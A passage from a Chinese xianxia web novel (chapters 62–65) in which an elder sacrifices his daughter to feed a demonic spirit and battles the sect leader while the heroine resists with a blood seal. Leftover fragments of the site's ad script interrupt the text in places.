叶清漪疼痛难忍,不受控制得眼前一黑,漏了破绽,被凌雪瑶的魔气击中,直直坠了下去。 62. 魔灵现世 凌雪瑶紧随其后,从半空俯冲下来,要给叶清漪致命一击。 叶清漪倒在地上,只能勉强撑起上半身,眼看凌雪瑶被黑气裹挟着向她袭来,已经来不及躲避,只能本能伸手去挡。 预料之中的攻击并没有发生,相反,她似乎听到凌雪瑶“啊”地一声惨叫。 她缓缓放下手,眼前哪里还有凌雪瑶的影子,四下搜寻了一下,凌雪瑶正倒在十几步开外的地上,撑着身子哇哇吐血。 叶清漪茫然四顾,大家都很忙,没人抽空帮她,反倒是这会儿,随着凌雪瑶倒地不起,顾长风和连喜几人受到魔气的压制有所减退,这才缓过来一些,二人不约而同站在原地看她,神色带着点打量和疑惑,修言和云宸也几人停了手,纷纷转过身查看她跟凌雪瑶对战的情况。 其余师兄师姐也互相搀扶着爬了起来。 “叶师妹,你太强了,刚才那一下是什么招数啊!”有师兄在一旁问。 “什么?”叶清漪还没从劫后余生的状况中缓过来。 “刚才你忽然迸发出刺眼的金光,刷地一下就将凌师妹弹飞了!”那位师兄手舞足蹈地比划,被边上的人碰了碰胳膊才止住话头。 “金光?”叶清漪查看着胳膊,印记的光芒褪去了,也不灼热了,这是什么情况? 方才凌雪瑶分明是下了杀心,难道是妖契起了作用? 【总有一日我会成为云仞山大师姐,也会成为云宸掌门亲传弟子!】 叶清漪想起妖契的内容。 难道是因为她还没做到这些,在完成之前,妖契会保证她的安危?让她不至于提前死了?这哪是妖契啊!这简直是护身符啊! 叶清漪还没来得及高兴,凌雪瑶就已经爬起来,一个瞬移冲到她面前,直接捏住了她的脖子。 “凌雪瑶……咳咳……你放开我……” 胳膊上的印记这次不再亮起,护身符有时候也不管用。 “别以为你用点歪门邪道就能打赢我了!” 叶清漪艰难挤出几个字:“你是不是……对歪门邪道有什么误解?” 一时半会儿没有任何人来救她,看这情形,估计都被绊住了脚步,几个师兄想搭把手,被凌雪瑶一掌就扫飞了。 完了,这回真要折在这儿了,也不知道还能不能重生第三世,若是不能,也只能如此了,叶清漪认命地闭上眼。 结果凌雪瑶迟迟没有动作,叶清漪感觉到脖子上的手松了一些,再一睁眼看到林雪瑶身上的黑气开始不正常地翻涌,红气也变得越来越多。林雪瑶面目狰狞,眉头因为痛苦拧在了一起,发出凄厉的惨叫。 下一刻,她直接松了手,叶清漪啪叽一下摔倒在地。 “咳咳咳……”叶静漪急急咳了两声,才勉强顺过气来。 顾长风和连喜这时终于缓过来,跑了两步过来查看她的情况,三个人都无比震惊地看着凌雪瑶,云宸那边也停了下来,一齐关注着凌雪瑶的情况。 执明一眼就看出凌雪瑶的异常:“这是……魔灵?” 云宸只是看着这一切,没有发话。 凌雪瑶还在痛苦地挣扎,一边哀嚎一边掐着自己的脖子,时而清醒,时而糊涂,一会儿哀求修言了结她的痛苦,一会儿又无比怨恨,口口声声说着要杀了叶清漪。 叶清漪也无比震惊,她到现在都不明白为什么会变成这样,如果凌雪瑶的结局被彻底改写了,那她之后的命运也会不同吗?原本她以为一切会按前世的轨迹进行下去。 “师兄,如何是好?可要列阵?”执明还在征求云宸的意见,“一旦魔灵自她体内释出,后果不堪设想,所有的云仞弟子都会受到魔气的侵扰,修为越高,受到的反噬就越重。” 云宸还在犹豫,一旁的修言也一言不发,只眼睁睁看着凌雪瑶痛苦挣扎,既没有阻止,也没有上前查看。 听着凌雪瑶口口声声喊着爹爹,哀求他替她了结痛苦的时候,他似乎有一瞬间的挣扎,但更多的还是漠然和决绝。 那边执明实在看不下去,直接动手,开始缔结法阵,压制凌雪儿的魔气,另外两位长老也上去帮忙。 法阵之下凌雪瑶越发痛苦,声声诘问:“爹爹,你为什么要这么对我?不是说只要我吃下蛊虫就会好的吗?可是我现在好难受,一切不是都结束了吗?为什么我比之前更痛苦了?” 场上之人闻言都看向修言。 他之前跟云宸过招被打散了发髻,披散的头发让他看上去犹如鬼魅,但此时他已经不在意这些了,他一步步朝凌雪瑶走近,抬手一剑劈开了执明几人结的法阵。 执明还想上前,被另外两位长老拉住了,让他暂时不要轻举妄动。 修言走到凌雪瑶面前将她扶起,似乎不受凌雪瑶的黑气所扰。 “爹来救你了,很快就不难受了。” 修言将凌雪瑶放在膝盖上,佩剑直接搭在她的脖子上。 凌雪瑶已经无知无觉,也丝毫没有反抗的迹象。 “修言住手!”执明出手想要阻止他,却被一股黑气弹了回来。 其他弟子也纷纷想上前阻止,却不得近身。 “再忍忍,马上就结束了!” 雨霖剑一横,直接结束了凌雪瑶的生命。 之后修言没有一点犹豫,将凌雪瑶的尸体搁下,便开始不断上升,凌雪瑶的尸体倒在地上,黑色的血源源不断从身体里流出来,血液不断有黑气升腾,进入修言的体内,随着黑气摄入的越来越多,修言的眉心开始浮现一个黑色印记,黑气越来越浓,到最后变成了血气,紧接着,一颗血红色的内丹自凌雪瑶体内升腾而出,自丹田进入了修言的体内。 至此,几乎大部分人都十分茫然,只有云宸和执明,还有叶清漪明白发生了什么。 “修言你竟然用亲生女儿来豢养魔灵!”执明指着修言痛斥。 修言反手一挥,一股黑气袭向执明。 执明打出一招反击,但一接触到黑气就消散了,根本阻止不了。 黑气即将攻上的那一刻,一道极强的白光破空而来,挡在了执明面前。 白光至纯至净,是比叶清漪金色术光还要罕见的术光,除了曾经的云徵,当今仙门百家能有这般术光的,只有一人——云宸。 “师兄。”执明看向他。 自刚才开始,云宸一直没有介入,如今终于出手了。 云宸的仙力与修言的魔气僵持了片刻,一时难分胜负,修言看出云宸这是用了五成以上的法力了,也不再留手,又施加了新的一波魔气。 云宸仍旧不为所动,但修言看上去已经有些力不从心了,又接连发动好几波攻击。 云宸始终淡然应对,无论修言的魔气加了多少,他都一如最初那般。 修言越发愤怒,浑身冒着猩红之气,身上的衣袍也被魔气熏得逐渐变黑,看上去简直比前世的叶清漪还像魔修。 云宸见他这般,正了神色,掌心一动,调转了方向,一波术法直直向修言袭去。 云宸的术法轻而易举就攻破了修言建立的魔障,迎面击向修言,修言使出全力格 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 挡,却仍是不敌,直直被打落半空。 他单膝落地,撑着膝盖,吐出一口黑血,和凌雪瑶的血泊汇在了一起,他看了眼凌雪瑶的尸体,连眉头都没皱一下。 云宸的修为比叶清漪想的还要高,自始至终,他甚至没有拿出另一只手。 “修言,你可知罪?”云宸负手而立,难得见他正了神色。 “技不如人,我认了。没想到这些年你的修为竟提升得如此之快,方才你为何不一剑了结了我?” “适才与你纠缠时,我并未使出全力,本想让你自行醒悟,及时回头,不想你变本加厉,丝毫没有悔改之意,我只能替师尊清理门户了。” 修言闻言仰天大笑三声,看向云宸的眼中满是嘲弄:“清理门户?如果当初是我当上掌门,哪里轮得到你来说这话?” “我知道,这些年你一直心怀不满,可我也将门中事务大半交于你打理,虽无虚名,但你已经是代行掌门之事了,为何你还是这般不甘心?” “代理掌门和掌门能一样吗?当初要不是师尊偏心,怎么会……” “掌门人选是师尊亲自定的,你有何不甘心的!”执明实在忍不住了。 “当初我才是进门最早的,本该是门派大师兄,掌门之位本就是我的,如今却让我屈居人下数十载,我怎能甘心?我的女儿,原本该是掌门之女,可如今,她只能沦为饲养魔灵的工具,这一切都是你,云宸!都是你害的!你占了掌门之位,却不行掌门之事,这些年若不是我替你打理云仞上上下下,门派能有如今这般气象?若不是我替你处理那些繁琐的事务,你哪有功夫修炼闭关,修为又怎么能提升得这么快?如今又怎能压制我?” “那也不是你修炼魔修的理由!师尊当年不立你为掌门,不止是因为你修为不足,更是因为你急于求成,不愿按部就班修炼,总想着钻研些旁门左道,总想将魔修融入仙门修炼,师尊屡次劝说,你不仅不知悔改,还对他记恨在心,这才是他未将掌门之位传给你的根本原因。” “师尊他就是个老古板,见不得弟子有多余的想法,我跟他说过多次,魔修之法虽然激进,但也有可取之处,我们大可将其与仙修结合,为己所用,有何不可?” 云宸叹了口气:“师尊知道你向来固执,也早已料到会有今日,他并非全然反对你的想法,只是,魔修与仙修融合本就行不通,为己所用只是你自以为的想法,你知道当初师尊为何不愿让你接触魔修吗?且不说魔修与仙修相斥,就单魔修的力道就难以把握,只会让你越来越失控,直至走火入魔,这才是师尊不同意你研习魔修的根本原因。原本门中也有不少记录魔修的书籍,本是为了知己知彼,后来,为了防止你私下研习,师尊已将那些书籍尽数销毁,只留下了一些记录了魔修三言两语的书籍,师尊一番苦心,你却如此对待他,当真是寒了他的心。” “寒心?师尊向来只在意你,他又怎么会为我寒心,无非是嫌我败坏了仙门风气,给他丢脸罢了!”修言似有片刻动容,但很快压了下去。 “你应该了解师尊的,你进门最早,又是师尊第一个弟子,他怎么会不真心待你呢?只是你被嫉妒蒙蔽了双眼,陷入自卑之中无法自拔,才会选择无视师尊待你的好。”云宸点出修言心中所想。 聪慧如云宸,怎么可能不知道这些年修言的想法呢?只不过是他选择包容罢了。 也许是因为对他有所亏欠,也许是因为同门之谊,想给修言一个自行醒悟的机会,他才选择一再忍让,可如今这般,他终究不能再坐视不理了! 63. 旧年心结 修言有片刻的错愕,很快又狠了神色。 “都是假的,都是你编的罢了,师尊就是不喜欢我,看我做什么都不顺眼。他从一开始见到你就偏袒你,还将沿袭了千百年的按资排辈的规矩都改了,就是为了让你名正言顺当上大弟子。可他亲自制定的规矩,却不允许我用其他方式提升法力,还冠我激进之名,不就是为了替你铺路,为你继位掌门扫清障碍吗?你占尽好处,如今又来说这些,简直可笑!” “魔修之法容易侵蚀人心,让人失去本心,逐渐被其掌控,到后面一切便都不由自己控制了,师尊不想你变成那般,才那么坚决地阻止你。” 修言目光一滞,思绪似乎飘回了多年前。 他的神情有些许恍惚,这么多年的执念如今却开始动摇,他不愿相信,或者说,他情愿认为世人皆辜负他,否则,这些年的怨恨与隐忍,又算什么呢? “你休要诡辩,如今师尊已经仙去,自然由你随意分辨,你向来最擅玩弄人心,不是吗?” “我到底是诡辩,还是剖白,你应该最清楚不过,师尊待你如何,你最是清楚,只不过你刻意忽略罢了,这一切只是你为自己的私心找的借口罢了!” “是私心还是其他原因重要吗?我已经回不了头了。你也清楚,我比你更适合掌管云仞,那些可笑的规矩早该废了。这么多年,云仞的规矩也该变一变了!” 修言毫不留情地催动魔气,横扫整个云凛阁前,除了云宸,所有人都受了不同程度的冲击,尽管云宸抬手为大家格挡去不少,魔气的余波仍颇具威力。 执明算是几个长老里修为最高的,被魔气攻击后,也是颇为不适,急急咳了两下,勉强承受住了;一旁的拂尘与戒律则更虚弱,魔气经过云宸搭起的仙障落在他们身上,直接将二人的护体术光击破,跌坐在地,嘴角渗出鲜血,拂尘连忙从怀里取出丹药,颤着手急急倒了两颗,和戒律各自服下,才勉强缓过来,只是暂时还爬不起来,只剩坐在原地喘气的份。 更别提其他弟子了,齐齐被掀翻几丈远,有几人已经跌落边缘,坠入崖下云海之内了。好在下方是凌云广场,这些弟子也算有些根基,倒不至于丧命,只是估计要休养好几个月了。 至于叶清漪三人,魔气袭来之时,她跟顾长风、连喜都默契地建起法盾抵御,叶清漪的妖契也荡出一波灵力反击,虽然一触及魔气便消散了,但也为他们减缓了冲击。 只是这般程度的魔气终究不是他们能承受得住的,虽然修为较浅者受到魔气的侵袭会相对较少,但对如今的他们来说也是难以承受的,更别说是体内已经有成形的魔丹的修言了。 叶清漪只觉得丹田被一股暗力贯穿,五脏六腑搅着,浑身酸胀不已,头晕目眩,喉口充斥着腥甜之味,她知道此刻嘴里定满是鲜血,一旦开口,便会止不住吐血,她牙关紧闭,但内里的酸涩之感一波波袭来,血腥之气冲上鼻腔,抑制不住的犯恶心,嘴角已经渗出一些血,最后她忍不住哇地一下,低头将血尽数吐出,虽然她往后退了一些,但吐的太急,鲜血几乎是顺着身前流下,前襟和衣摆都被吐得惨不忍睹,还溅湿了脚边一大块地面。 那血的颜色极黑,与她前世入魔后真气逆行时吐的血一样。 顾长风和连喜自然也没能幸免,只是到底根基扎实,勉强没有倒下,但也不能看出,尽管二人看上去状态尚可,体内的真气估计全都紊乱了。 叶清漪四肢酸胀也是因为经脉受损,魔气正沿着经脉一寸寸蔓延,很快,她胳膊内侧显现出蛛网状的黑色脉络,叶清漪连忙点了经脉几处关键穴位,又点了心口两处大穴,那股眩晕之感才勉强消退一些。 顾长风与连喜都没怎么接触过魔气,在一旁手足无措,二人的胳膊也出现了黑色脉络,甚至有一些已经顺着脖颈爬到了脸上。 叶清漪上前替二人都点了穴位阻断,但也只能暂缓魔气蔓延。 云宸看了眼他们这边的情况,也无暇顾及。 这是修言和云宸几人的纠葛,他们小一辈的插不上手,叶清漪几人也识趣地没有上前裹乱——尽管也确实无能为力。 “修言,不要再执迷不悟了!你忘了当初锦华师妹是怎么死的吗?她是在一次下山试炼中被妖物的魔气侵体,不堪反噬之苦才自我了断的,留下还在襁褓的女儿给你,如今你竟然要将魔修与仙修融合,怎么对得起锦华师妹?”执明厉声斥责修言。 修言不答,眼底只有无尽的漠然。 执明见他这样更是怒不可遏,懒得再多言,他怒视着修言,松开手中的御灵剑,周身灵力涌动,衣角翻涌,他双手结印,整个人被术法包裹着升至半空,御灵剑随着他的手势在空中划了个圈,直直朝修言刺去。 御灵剑未能近身,就被黑气缠住,执明又施加更多术法,掀起一股劲风,层林翻涌,群山震动,隐有万兽咆哮之声。 青绿色的术光将御灵剑又往前送了几分,又在黑气的压制下后退,二人相持不下。 “你不是我的对手,我今日不想杀你,若你肯归顺于我,替我拿下云宸,待日后我接管云仞,你仍旧做你的大长老,什么都不会改变,这不是你一直所求吗?” 修言牢牢牵制着御灵剑,执明无法进一寸,也无法退一步,二人力量悬殊过大,已没有僵持下去的必要。 修言这番话说完,执明没有立即反驳他,而是看了一眼下方的云宸,脸上有犹豫之色。 “你和云宸向来关系最好,应该最了解他,他根本不适合当掌门,他只知道埋头修炼,或许落仙谷才是他的归宿。” 落仙谷,被仙门废弃的悟道及以上的修仙者会去的地方,也有仙门用来发落犯了大错的门中之人,一般是长老或元老级别的人,知道太多门派秘辛,又 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 修为高深者,这些人在门派待了十几年甚至更久,是不可能像仙徒一样放回俗家的,若是投身其他门下也是后患无穷,便有了落仙谷,谷中因地势和特殊的气候结合,形成超强的压制结界,无论修为有多高强,进去之后都会法力全失,容貌衰退,变回真实年龄的模样,恢复修仙前的一切身体机能,并且多半会有不同程度的恶疾,这是凡人之躯无法承受仙力流失导致的。 说白了,就是变回凡人,甚至连普通凡人都不如。 “如何?还是你也想同他一般,在落仙谷做一对感人至深的患难兄弟?听说玄天门被废除的无极长老前不久刚刚病逝,落仙谷现在正空置着,你二人同去也有个伴,免得你云宸师兄孤单。” 执明脸色更难看了,眉头紧锁,似乎正在思考他的话。 过了一会儿,执明再次抬眼,已没了犹豫之色。 “考虑好了?”修言眼中闪过一丝得意。 执明没有表态,只缓缓卸了手上的力道,将御灵剑收回了。 “看来你还是比某些人识时务的,其他二位呢?”修言又将矛头对准了另外两人。 拂尘和戒律一个负责研制丹药,一个负责打理藏经阁,都是偏向文修的,加上过了这些年的安稳日子,早就疏于修炼,哪里是对手,不管是修言还是云宸,他们都得罪不起,二人只能选择性装聋。 修言有些意外,看向他们:“戒律,你素日不是最喜欢跟在我后面讨好卖乖吗?如今正是需要你表态的时候,为何一言不发?” 戒律见躲不过,干脆直言:“我素日的确与你走得近些,可我也不知道你存了这般大逆不道的心思啊!虽说,你对门派的确是尽心尽力,但云宸毕竟是师尊亲自立下的掌门,你如今这般,忤逆先师,残害同门,还杀了自己亲生女儿,是会为仙门百家不耻的!” “嗯?”修言发出一声疑问。 戒律立马吓得瑟缩起来。 “知道害怕还敢这么说?我还真是小看你了戒律。” 刚才头脑一热不顾后果,如今后怕起来,戒律忍不住一个劲哆嗦,再不敢多话了。 “无妨,日后有的是时间让你们归顺。”修言话音刚落,云凛阁后院就发出一声巨响。 众人应声望去,只见一团泛着黑气的不明物体自云凛阁上方升起,那团黑气的中心似乎裹着涌动的红色液体。 “这是……” “仙魔结合这么好的修炼方式,怎能我一人独享呢?我已为各位同门炼制好了魔源,只需接受魔源万分之一的魔气,就可以让你们的修为大大增强。日后云仞山上下都可以用此法修炼,云仞成为仙门之首指日可待!” 修言越说越癫狂。 随着那团魔源升起,那些还来不及苏醒的弟子们已经有所反应,不适地在地上打滚,魔气迅速笼罩云仞上空,遮天蔽日,黑气熏天。 64. 极力抵抗 叶清漪气得说不出话,这都入魔了,还算哪门子的仙门啊! 然而现在不是说这些的时候,这魔源的威力简直可怕,仙门弟子们都被折磨得痛不欲生,执明、拂尘和戒律也是难以承受,在云宸搭起的仙障中,还是十分不适。 魔气像妖灵一般自魔源中逸出,毫无章法地四处投射,不仅是云凛阁,估计整个云仞都受到了波及。 几个长老靠着云宸的仙障才勉强撑着,但魔气还在不断落在仙障之上,一下下撞击着仙障,云宸虽然没有受影响,但也被这魔气牵制,无暇他顾。 眼看有几团魔气正朝着头顶落下,叶清漪看了看顾长风和连喜,二人的嘴唇已经开始泛紫,动作迟缓,魔气已经爬上脸颊,强行运功只会加剧魔气蔓延,叶清漪估计自己也是这德行,但她还能撑一会儿。 魔气已近在咫尺,她别无他法,只能尽力一试。 她摊开右手,灵力经过小臂汇于掌心,妖契的印记忽隐忽现,但对她没有什么干扰,温热的灵力尽数聚集,掌心金光大盛,叶清漪握拳高举,当即在头顶形成圆弧状的金色透明屏障。 周身灵力迸发,掀起她的衣袂裙摆,发丝在风中肆意飘扬,妖契的印记在手臂上泛着淡淡金光,开始急速升温,叶清漪越催动灵力,妖契就会完整一分,这和契约签订之时的属性有关,叶清漪签订的契约是当上大师姐成为亲传,自然是功力越高,完成的可能性越大,妖契感应到叶清漪灵力增强,也会对其有一定程度的保护。 金光与黑气在半空相撞,迸溅出极刺眼的火花,在灰蒙蒙的天空中散开一缕微曦,单薄的金色圆弧瞬间四分五裂,一股极细的黑气率先找到破绽,紧接着以肉眼都反应不过来的速度冲破屏障,将叶清漪整个人直直撞出好几丈远。 “叶师妹——!!!” 叶清漪仿佛听到有谁急急地喊了她的名字,但她脑瓜子嗡嗡的,尖锐的鸣叫充斥在耳边,一时间什么声音都听不到了。 眼前黑气久久未散,聚集在她眼前和头顶,将她和顾长风他们隔绝在两边,她看不到他们,也看不到其他人,只觉得黑气之中似乎有人正要冲过来。 “叶师妹!” 最先冲出来的是连喜,冲破雾气,一声声喊着她的名字,一如前世在魔界,他屡次救她于危难,也是这般焦急的模样。 真没想到,这一世没去魔界,却把魔界搬到自家门前了! 叶清漪苦笑,总感觉这一世因为她改变了自己的行为,将一切推向了未知的深渊…… 连喜见她单膝跪地,半天不动,以为她真气瘀滞了,连忙上前将她扶起,这一幕刚好被晚了一步的顾长风看到,神情有一瞬间的恍惚。 叶清漪暂时顾不上这些,面前的魔气有些散了,叶清漪稳了稳气息,便赶紧去看魔气的情况。 虽然没抵挡住魔气,但叶清漪也算分了一部分攻击,此时云仞山上空的至纯灵力也被激活了,魔源中的黑气开始有抑制的趋势。 叶清漪还来不及松一口气,就见魔源在山体灵气的压制下,先是缩小了一些,之后又开始加速膨胀,眼看都要比云凛阁屋顶还大了。 同时,西南方的密林深处传来一声撼天动地的低吼,整个山巅都为之颤动,叶清漪手臂内侧的妖契忽然一抽,牵动着心口一紧,她忽然听到密林深处宛如天音的召唤。 “杀了他,杀了他……” 叶清漪倒是没被这声音蛊惑,她脑子还算清明,只是仿佛打通了和某些藏在暗处的力量的连接。 她扶着鬓角,晃了晃脑袋,试图将这种奇怪的感觉晃走。 余光却感应般地投向前方,修言正催动着内丹,不断向魔源输送红色的血气,看上去他是在用自己的血饲养着魔源,魔源不断吸收着修言的血气,内里的红光越来越明亮,同时,密林中的妖邪之气不断逸出,被魔源吸收,外面一圈黑气也越来越浓。 叶清漪仿佛能听见密林群妖的哀嚎。 这些黑气都是那些被困妖邪的内丹所化,每逸出一抹黑气,就有一只妖邪被献祭。 不好!如果那只花妖也被献祭了,那她的妖契岂不是无法完成! 得想办法阻止修言! 叶清漪踉跄地朝修言走去,她还没想好怎么阻止,只是本能想上前阻拦。 顾长风和连喜二人见她这般,都慌了神想去追,又遭到魔气反噬,气血逆行,无力前行。 魔气遮天蔽日,卷起飞沙走石,细碎的砂砾划破叶清漪暴露在外的皮肤,在脸颊、脖颈各处留下一道道细小的伤口,血珠沿着伤口渗出,被呼啸的罡风一卷,融入其中,顿时消散,血珠每消散一处,便带走一丝黑气,但叶清漪一心盯着远处的修言,并未注意到此。 每往前走一步,体内的真气就混乱一分,肌肤被碎石摩擦得火辣辣地疼,几乎没一处好地方,反而麻木了,倒也不觉得疼。 “叶清漪!” 一声带着愠怒的呵斥响起,唤回叶清漪一丝理智,她抬眼往前,一袭紫衣在灰暗中飘荡,发髻飞扬,手心紫色术光直击苍穹,让他看上去宛如神祗。 “师尊……”叶清漪喃喃念着。 “叶清漪!站住!别再往前了!”云宸正调动着护山灵气,没有上前,只是站在那里大声呵斥叶清漪。 听到熟悉的斥责,叶清漪恍然间似乎回到了前世刚入流云殿的时候,那是她人生中少有的自在时光,不仅是因为掌门亲传和大师姐的身份,而是在她此前有限的十几年人生中,云宸是唯一一个让她感觉到被认可的人,虽然他总是责骂她,但从不会贬低否定她,而且到后来叶清漪基本看出来,云宸只是嘴上说说,她虽然最怕云宸发火,但其实云宸每次发火都没有什么威力,最多罚她抄几遍心法,还间接帮她巩固了心法。 那时候叶清漪在流云殿几乎是为所欲为,不会无端遭到辱骂,更不会担心什么事情做的不对,也不需要向谁证明 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 自己,可以修炼自己想修炼的心法,做任何喜欢做的事情,也没有窥见仙门的不堪。 她在云宸那里感受到无条件的支持,那种发自内心对她的赞赏,叶清漪是能感受到的。 那段时间,她感到前所未有的平静与满足。 此后这么多年,再也没有过。 如今她好像又回到了多年前,紧绷的神经终于松懈,双腿一软,跪倒在地。 “云宸……”叶清漪脑子不太清明地念着,不知何时变了称呼。 耳边的一切声音都听不分明了,只记得她被驱逐那日,云宸对她说的最后一句话—— “无论怎样,活下去!” 活下去……叶清漪! 徒儿不肖,还是辜负了师尊的期望,没能努力活下去…… 意识迷离间,只听一声怒吼——“云宸,受死吧!” 叶清漪一个激灵! 修言! 如果前世是修言害死云宸的话,那么今天云宸也很有可能死于修言之手! 介于发生的一切事情都已经被打乱,云宸之死被提前到这一年也是有可能的。 她绝不能允许这样的事情发生! 她强迫自己清醒过来,挣扎着起身,手掌被地面的碎石硌得生疼,掌心早已磨破,她也顾不上了,她决不能看着云宸死在修言手里。 但她如今灵力低微,光是爬起来就已经耗光了她所有的力气,她站在那里,不受控制地眩晕了一阵,舔了舔干裂的嘴唇,嘴里发苦,血腥气挥之不去,她定了定,视线终于清晰一些。 远处修言和云宸斗法的术光各占了半边天空,一半灰暗一半光亮,势均力敌,一时难分胜负。 叶清漪心口一滞,她的感官忽然就跟密林之中的某一处打通了,兴许是妖契的作用,她似乎同时拥有两个人的知觉,一个在眼前,一个在密林,她眼前一会儿是修言和云宸在对峙,一会儿又是群妖哀嚎的密林,之前见过的那个老槐树妖已经被夺取了内丹,那个叫阿龙的妖邪也身负重伤,半抬起身子看着“她”。 【别忘了你立下的契约!】 这应该是小花妖的视角,原本她以为阿龙是在跟小花妖说,现在想来,他是知道叶清漪可以通过妖契看到他的,所以这话是对叶清漪说的。 这句话说完,妖契的连接就暂时断了,看着不断从密林吸取魔气的修言,叶清漪忽然明了,这密林群妖,就是修言给自己备下的补药。 “你将捉来的妖邪关在密林,原来是为了今日!” 修言睥睨着她,嘴角微微抽动:“没想到竟是个有脑子的,可惜太过聪明,我留你不得!” 修言的视线移向她身后。 “还愣着干什么!还不快动手!” 叶清漪回过头,只见顾长风正缓缓朝她走来,而和他一起的连喜则不见人影。 叶清漪目光一紧。 “顾长风!你想干什么?” 65. 以血结印 “连喜呢?你把他怎么样了?” 顾长风没有答话,依旧逐渐朝她逼近。 叶清漪不想跟他浪费时间,转头就往修言那边跑。 “还不快拦住她!你是我的亲传大弟子,我若事败,你以为你日后的日子还会好过吗?”修言的声音自空中传来,在场所有人都听到了。 叶清漪略作停顿,继续闷头往前跑,但因为体力透支,她跑的速度其实比顾长风走起来还慢。 这时身后响起一声清丽的呼啸,紧接着,一柄青光护体的灵剑直直钉入她面前的地面上,距离她三步之遥。 那是顾长风的碧落剑。 叶清漪立时顿住身形,愣在当场。 下一刻,顾长风出现在她左侧,虽然只是站着,但他随时可以对叶清漪动手。 叶清漪怔忪片刻,喃喃道:“看来那个问题你已经有了答案。” 顾长风不答,只劝她:“叶师妹,你不是师尊的对手,我只是不想你去送死。” 叶清漪嗤笑一声:“师兄费心,若我偏要送死呢?” 顾长风错愕地抬头,定定看向她,似是没想到她这么坚决。 “死在今日,还是死在日后被魔气反噬的某一日,有区别吗?” 叶清漪向前一步。 “若你非要拦我,那便动手吧!” “锃——”地一声,碧落剑横在了她脖颈。 “别再往前了……”顾长风声音带了点颤抖。 真是好笑,两世了,她竟然还对顾长风抱有幻想,人的本质是不会变的,尤其顾长风这种在意自己前途的人,每次她都是被舍弃的哪一个。 叶清漪直接将脖子往前送了几分。 “动手吧!你也不是第一次要杀我了。” 顾长风握剑的手抖了抖。 “怎么?不敢杀我?还是想看我求饶?” “我……我不会真的杀你的,你就听我一句,别再参与此事了,不管日后谁当掌门,都不是你我能改变的。” 眼看山体灵气被黑气侵占的越来越多,叶清漪懒得跟顾长风多言,直接伸手握住碧落剑,拉着剑往自己脖子上比划。 “你干什么!你疯了?快松手!”顾长风急得不知如何是好,又不敢将剑收回。 “你不动手,我帮你一把,省得影响你跟修言表忠心了!”叶清漪狠了心握得更紧了,掌心被剑刃割破,血肉深深嵌入其中,鲜血瞬间沿着剑身淌下。 “你先松开……”顾长风实在没想到叶清漪的决心这么大,他见惯了太多顺势而为的人,明哲保身才是智者,这么不顾后果的行为,是他将近二十年的人生里从来没遇见过的。 “好不容易重活一世,你就这么不爱惜自己的命吗?掌门灵力高强,也不需要你相助啊!” “你不懂!”叶清漪她没跟顾长风说前世云宸到后来死了,他自然不知道事情的严重性。 眼见越来越多的黑气汇入修言体内,云宸渐渐呈不敌之势,叶清漪情急之下灵光一现,站在当下,没有妄动,同时松开了手,鲜血顺着掌心滴入地面。 顾长风以为她是改了主意,稍稍松了口气,忙不迭将碧落剑移得更远一些。 但若他仔细观察,便会发现叶清漪双眼空洞,望着前方,像是在放空。 沙尘漫天,天色又暗了几分,无人注意到叶清漪胳膊上忽明忽灭的印记。 未几,修言脸上得意之色一滞,吸收的黑气也没有之前那么多了,他又试了两下,随着最后一律黑气消散,之后便再没有新的黑气飘来,魔源也停止了膨胀。 这时,叶清漪也终于回过神来,转动了一下视线,打量着面前的法阵,似是暗暗松了口气。 “你做了什么?”修言第一时间质问她。 顾长风很是意外,也随着修言的视线看向她。 叶清漪也不否认,只道:“你不需要知道我做了什么,你只需知道,你快完了!” 修言恼羞成怒,大声斥责顾长风:“你怎么办事的!竟让人在你眼皮子底下动手脚!” 顾长风站在一旁,手足无措,握着剑踉跄后退了两下,下一刻,一袭黑烟自修言处袭来,直直打在顾长风身上。 碧落剑应声落下。 顾长风被掀翻在地,魔气紧紧缠着他,让他痛苦地蜷缩着,他咬牙忍着,倒是一声也没吭。 接着又一团黑气朝叶清漪袭来,她不是修言的对手,抵挡也没用,已经做好生生受了这一下的准备。 眼看黑气将至,眼前的视线忽然被挡住了,她只看到不断飘散的黑气,定睛一看,竟是顾长风。 也不知他是哪来的力气冲到她面前。 此时又受了一击,顾长风身上的黑气肉眼可见地升起两倍高,整个人直直倒了下去。 叶清漪连忙顿下查看顾长风的伤势,他仰面躺着,已经失去挣扎的力气。 见叶清漪在旁,顾长风还试图抬起一只手。 “你这又是何必?我实在看不懂你!”叶清漪想将顾长风的手按下,却被他反手抓住。 这一举动实在超出她的预料,叶清漪不免有些错愕。 “你……” 叶清漪试图挣了一下,顾长风抓得不紧,但她还是没有完全挣开手。 “……”顾长风嘴唇嗫嚅了一下,似乎想说点什么,但黑气已经漫上他的脸颊,他双唇泛紫,整个脸都快被黑气笼罩了。 “你先别说话了,魔气侵入五脏六腑就更难清除了。” 顾长风眉头因太过痛苦狠狠皱在一起,叶清漪忍不住想伸手触碰,手心未干的血不小心滴了一滴在他脸上。 叶清漪刚想替他抹去,却发现那滴血逐渐被他的皮肤吸收,之后他脸上一部分黑色纹路竟慢慢褪去了。 这是…… 她的血对魔气有用? 叶清漪想了想,只能想到是前段时间吃了太多丹药的原因。 她又去看刚刚握过的顾长风的那只手,小臂上的纹路的确也不见了。 叶清漪几乎没有犹豫,捡起碧落剑,又划开了另一只手心。 “你干什么?”顾长风虚弱地抬头,见她这般,连忙用尽最后一丝力气收回了碧落剑。 叶清漪也不需要了,这样已经足够。 她回想着前世学过的那些法印,其中便有一种以血结印的符咒,她虽是主剑修,但符修课的成绩也是最好的,只是如今 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 灵力不足,法阵的威力可能要有所减弱了。 她简单温习了一遍口诀,双手交叠,掌心相向,转动手腕,继而合十,二三两指相抵,指尖朝上,其余三根手指相扣,待血液在指尖汇满,再打开掌心,呈三角相扣之势,掌心的血气极速涌动,待灵力聚集至鼎盛,念动口诀。 “太上台星,应变无停,驱邪缚魔,道气长存。急急如律令。”(注) 在念口诀的同时,双手渐渐拉开,最后一句落下之时,双手向前一送,一个完整的法印就结好了。 